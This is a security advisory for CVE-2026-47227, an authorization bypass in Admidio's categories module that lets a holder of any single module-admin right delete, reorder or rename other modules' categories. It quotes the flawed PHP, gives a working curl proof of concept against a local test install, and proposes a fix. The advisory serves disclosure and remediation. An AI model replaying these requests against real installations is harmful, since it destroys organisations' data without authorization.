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CVE-2026-47227
Published:May 31, 2026
Updated:June 13, 2026
Summary "modules/categories.php" checks that the supplied "type" parameter ("ANN", "EVT", "ROL", "USF", …) corresponds to a module the actor administers. The follow-up "is this specific category editable by me" check at lines 56-61 is dead code because it compares "$getType" (a category-type code) against mode names ("edit"/"save"/"delete"); the condition is permanently false, so "$category->isEditable()" is never invoked. The "delete", "sequence", and "save" switch cases load the category by the supplied UUID and act on it without re-checking that the category belongs to a module the actor administers. A user holding only one module-administrator right can therefore destroy or reorder empty categories belonging to other modules — for example, an announcements administrator can delete role categories, profile-field categories, or weblink categories that they have no right to touch. Details vulnerable code "modules/categories.php:40-61": $getMode = admFuncVariableIsValid($_GET, 'mode', 'string', array('defaultValue' => 'list', 'validValues' => array('list', 'edit', 'save', 'delete', 'sequence'))); $getType = admFuncVariableIsValid($_GET, 'type', 'string', array('validValues' => array('ANN','AWA','EVT','FOT','LNK','ROL','USF','IVT'))); $getCategoryUUID = admFuncVariableIsValid($_GET, 'uuid', 'uuid'); // check rights of the type if (($getType === 'ANN' && !$gCurrentUser->isAdministratorAnnouncements()) || ($getType === 'AWA' && !$gCurrentUser->isAdministratorUsers()) || ($getType === 'EVT' && !$gCurrentUser->isAdministratorEvents()) || ($getType === 'FOT' && !$gCurrentUser->isAdministratorForum()) || ($getType === 'LNK' && !$gCurrentUser->isAdministratorWeblinks()) || ($getType === 'ROL' && !$gCurrentUser->isAdministratorRoles()) || ($getType === 'USF' && !$gCurrentUser->isAdministratorUsers()) || ($getType === 'IVT' && !$gCurrentUser->isAdministratorInventory())) { throw new Exception('SYS_NO_RIGHTS'); } if (in_array($getType, array('edit', 'save', 'delete'))) { // <- DEAD CODE // check if this category is editable by the current user and current organization if (!$category->isEditable()) { throw new Exception('SYS_NO_RIGHTS'); } } The "in_array($getType, array('edit','save','delete'))" test compares the category-type code to mode names. "$getType" can only be "ANN", "AWA", "EVT", "FOT", "LNK", "ROL", "USF", or "IVT" (it is rejected by "admFuncVariableIsValid" if it is anything else), so the array intersection is permanently empty. The intended check was probably "in_array($getMode, array('edit','save','delete'))". As written, "$category->isEditable()" is never called from this entry point, and the "$category" symbol is not defined here at all (it is local to other code paths), so even if the operator were corrected the body of the if would throw an undefined-variable warning before doing anything useful. "modules/categories.php:99-110" — the "delete" switch case just loads the category by UUID and deletes it, with no per-record permission check: case 'delete': SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $menu = new Category($gDb); $menu->readDataByUuid($getCategoryUUID); $menu->delete(); echo json_encode(array('status' => 'success')); break; "modules/categories.php:112-123" — the "sequence" switch case has the same shape. "Category::delete()" blocks deletion of the system / default category and of categories that still have referenced records (events, announcements, role assignments, etc.), but does not check whether the category's "cat_type" matches a module the actor has rights over. exploitation flow 1. Attacker has "Announcements administrator" (or any other single module-admin right) but is not a roles / inventory / weblinks administrator. 2. Attacker observes the UUID of a target category by listing categories of any type they DO have rights over (the listing returns category UUIDs of their own type), or simply enumerates by visiting "modules/categories.php?type=<their_type>&mode=list". 3. Attacker requests "POST /modules/categories.php?mode=delete&type=ANN&uuid=<UUID-of-foreign-category>" carrying their valid "adm_csrf_token". "type=ANN" satisfies the rights gate at line 47-58 (they are an announcements admin). The dead "if" at line 56 does not fire. The switch falls into "case 'delete':" which deletes the category without re-checking the type. 4. Server replies "{"status":"success"}". The cross-module category is gone. The same primitive applies to "mode=sequence" (reorder), and to "mode=save" for editing the category's name and description. PoC Tested on a fresh install of HEAD "c5cde53" running on PHP 8.4 + MariaDB 11.8 at "http://127.0.0.1:8085". Reproduces in two requests. "testadmin" is the bootstrap administrator created during install; "annadmin" is a freshly-created user whose only role is "Association's board" with "rol_announcements=1" (no roles / inventory / weblinks rights). 0. set-up: confirm starting state of the cross-module category $ mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio -e "SELECT cat_id, cat_uuid, cat_type, cat_name FROM adm_categories WHERE cat_type='ROL' AND cat_name='TEAMS';" cat_id cat_uuid cat_type cat_name 7 846536b9-2582-4845-a5ff-dee06f3212c7 ROL TEAMS 1. login as annadmin (announcements admin only) and capture session + csrf $ curl -s -c $C -b $C "http://127.0.0.1:8085/index.php?module=auth" > /dev/null $ html=$(curl -s -c $C -b $C "http://127.0.0.1:8085/system/login.php?...") $ csrf=$(grep -oE 'adm_csrf_token[^"]+value="[^"]+' /tmp/login.html | head -1 | ...) $ curl -s -c $C -b $C --data-urlencode "adm_csrf_token=$csrf" --data-urlencode "adm_login_name=annadmin" --data-urlencode "adm_password=Annpwd123!" "http://127.0.0.1:8085/system/login.php?mode=check" {"status":"success","url":"..."} 2. as annadmin, GET the categories page once to seed an in-session form key $ html=$(curl -s -b $C "http://127.0.0.1:8085/modules/categories.php?type=ANN&mode=list") $ csrf=$(echo "$html" | grep -oE 'adm_csrf_token[^"]+value="[^"]+' | head -1 | sed 's/.*value="//') 3. fire the cross-type delete: type=ANN (annadmin has rights), uuid=<ROL category> $ curl -s -b $C -X POST --data-urlencode "adm_csrf_token=$csrf" --data-urlencode "direction=" "http://127.0.0.1:8085/modules/categories.php?mode=delete&type=ANN&uuid=846536b9-2582-4845-a5ff-dee06f3212c7" {"status":"success"} 4. verify the row is gone — annadmin had no role-administrator rights $ mariadb ... admidio -e "SELECT * FROM adm_categories WHERE cat_uuid='846536b9-2582-4845-a5ff-dee06f3212c7';" (no rows) The same chain with "mode=sequence&direction=UP" reorders a foreign category. With "mode=save", an attacker can rename the foreign category and (via the unprotected "cat_type" rebind in "CategoryService::save()" line 210) re-tag it to a different module type, breaking referential consistency. Impact Any user with at least one module-administrator right can delete or reorder admin-managed categories of other modules: - Role categories (the structural grouping of all roles in the organisation) - Event calendars (each calendar is a category of type "EVT") - Profile-field categories (the grouping of which fields are shown on which profile tab) - Weblink categories - Forum categories ("FOT") - Inventory categories ("IVT") "Category::delete()" blocks categories with active rows, so the attack lands on currently-empty categories, but a malicious announcement-admin can also delete the default category for a module immediately after the legitimate admin deletes its last record, eliminating the implicit "Default Category" before a new record can re-create it. The target organisation loses the structural grouping for an entire module and must rebuild it by hand from a fresh database state. The CVSS reflects: any user with a single module-admin role can permanently destroy structural metadata for every other module. "PR:L" because module-admin rights are routinely granted to non-administrative users (chairs of subgroups, content editors). "I:H" because data is destroyed and there is no in-product undo. "A:N" because the system stays up; only the affected module's metadata is gone. Recommended Fix Replace the dead "if (in_array($getType, array('edit', 'save', 'delete')))" block with a real check on "$getMode" plus a per-record "isEditable()" test that re-derives the module from "cat_type": if (in_array($getMode, array('edit', 'save', 'delete', 'sequence'), true) && $getCategoryUUID !== '') { $category = new Category($gDb); $category->readDataByUuid($getCategoryUUID); if ($category->isNewRecord()) { throw new Exception('SYS_INVALID_PAGE_VIEW'); } // re-check rights against the record's cat_type, not the user-supplied type $recordType = $category->getValue('cat_type'); if ( ($recordType === 'ANN' && !$gCurrentUser->isAdministratorAnnouncements()) || ($recordType === 'AWA' && !$gCurrentUser->isAdministratorUsers()) || ($recordType === 'EVT' && !$gCurrentUser->isAdministratorEvents()) || ($recordType === 'FOT' && !$gCurrentUser->isAdministratorForum()) || ($recordType === 'LNK' && !$gCurrentUser->isAdministratorWeblinks()) || ($recordType === 'ROL' && !$gCurrentUser->isAdministratorRoles()) || ($recordType === 'USF' && !$gCurrentUser->isAdministratorUsers()) || ($recordType === 'IVT' && !$gCurrentUser->isAdministratorInventory())) { throw new Exception('SYS_NO_RIGHTS'); } if (!$category->isEditable()) { throw new Exception('SYS_NO_RIGHTS'); } } Additionally, "CategoryService::save()" should refuse to mutate "cat_type" when editing an existing record (drop the "$this->categoryRessource->setValue('cat_type', $this->type)" at line 210, or set it only when "isNewRecord()"). A regression test should call "categories.php?mode=delete&type=ANN&uuid=<ROL-category>" as a user with only "isAdministratorAnnouncements()" and assert the response is "SYS_NO_RIGHTS" rather than "success".
Affected Packages
admidio/admidio (PHP):
Affected version(s) >=dev-add-inventory-demo-data <v5.0.10
Fix Suggestion:
Update to version v5.0.10
admidio/admidio (PHP):
Affected version(s) >=v4.1.x-dev <v5.0.10
Fix Suggestion:
Update to version v5.0.10
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CVSS v4
Base Score:
7.1
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
LOW
User Interaction
NONE
Vulnerable System Confidentiality
NONE
Vulnerable System Integrity
HIGH
Vulnerable System Availability
NONE
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
6.5
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
NONE
Integrity
HIGH
Availability
NONE
Weakness Type (CWE)
Incorrect Authorization
Authorization Bypass Through User-Controlled Key
EPSS
Base Score:
0.03